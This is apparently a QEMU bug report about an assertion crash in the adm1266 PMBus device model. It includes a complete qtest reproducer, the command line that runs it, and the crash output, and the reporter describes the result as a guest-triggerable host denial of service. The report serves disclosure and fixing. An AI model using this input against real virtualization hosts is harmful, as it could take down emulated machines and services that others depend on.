hw/i2c/pmbus_device.c:pmbus_send_string()
Host environment
-
Operating system:
Ubuntu 22.04.5 LTS
-
OS/kernel version:
Linux flame 6.8.0-107-generic #107~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Mar 18 23:40:43 UTC x86_64 -
Architecture:
x86_64
-
QEMU flavor:
qemu-system-arm -
QEMU version:
QEMU emulator version 10.2.50 (v10.2.0-690-g2339d0a1cf-dirty), commit2339d0a1cfac6ecc667e6e062a593865c1541c35 -
QEMU command line:
./qemu-system-arm -machine imx25-pdk -nodefaults -display none -monitor none -serial none -qtest stdio -device adm1266,address=0x12,bus=i2c-bus.0 < reproducer.qtest
Emulated/Virtualized environment
-
Operating system:
none (qtest-only reproducer)
-
OS/kernel version:
N/A
-
Architecture:
arm
Description of problem
A qtest-driven SMBus access pattern against the adm1266 PMBus device on imx25-pdk can make pmbus_send_string() abort with assert(len + pmdev->out_buf_len < SMBUS_DATA_MAX_LEN).
The reproducer repeatedly queries the device model string until the internal PMBus output buffer accounting overflows. This looks like a guest-triggerable host denial of service.
Steps to reproduce
-
Build the affected QEMU flavor from
qemu.gitmaster (or checkout commit2339d0a1cfac6ecc667e6e062a593865c1541c35) with debugging enabled. -
Save the following qtest program as
reproducer.qtest:writeb 0x43f80008 0xf8 readb 0x43f8000c writeb 0x43f80010 0x24 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x9a readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x20 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x41 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80008 0xc8 readb 0x43f8000c writeb 0x43f80008 0xf8 readb 0x43f8000c writeb 0x43f80010 0x24 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80010 0x9a readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80008 0xc8 readb 0x43f8000c writeb 0x43f80008 0xf8 readb 0x43f8000c writeb 0x43f80010 0x25 readb 0x43f8000c writeb 0x43f8000c 0x00 writeb 0x43f80008 0xe8 readb 0x43f8000c readb 0x43f80010 -
./qemu-system-arm -machine imx25-pdk -nodefaults -display none -monitor none -serial none -qtest stdio -device adm1266,address=0x12,bus=i2c-bus.0 < reproducer.qtest
Additional information
-
Relevant source path:
hw/i2c/pmbus_device.c:pmbus_send_string() -
Local reproducer output excerpt:
OK 0x00000000000000a0 OK OK 0x00000000000000a2 OK OK OK 0x00000000000000a0 Bail out! ERROR:../qemu-2339d0a1cfac6ecc667e6e062a593865c1541c35/hw/i2c/pmbus_device.c:105:pmbus_send_string: assertion failed: (len + pmdev->out_buf_len < SMBUS_DATA_MAX_LEN) [I 0.000000] OPENED qemu-system-arm: warning: nic imx.fec.0 has no peer [R +0.004555] writeb 0x43f80008 0xf8 [S +0.004576] OK [R +0.004581] readb 0x43f8000c [S +0.004585] OK 0x00000000000000a1 [R +0.004586] writeb 0x43f80010 0x24 [S +0.004590] OK [R +0.004591] readb 0x43f8000c [S +0.004593] OK 0x00000000000000a2 [R +0.004594] writeb 0x43f8000c 0x00 [S +0.004596] OK [R +0.004597] writeb 0x43f80010 0x9a [S +0.004600] OK [R +0.004601] readb 0x43f8000c [S +0.004602] OK 0x00000000000000a2 [R +0.004604] writeb 0x43f8000c 0x00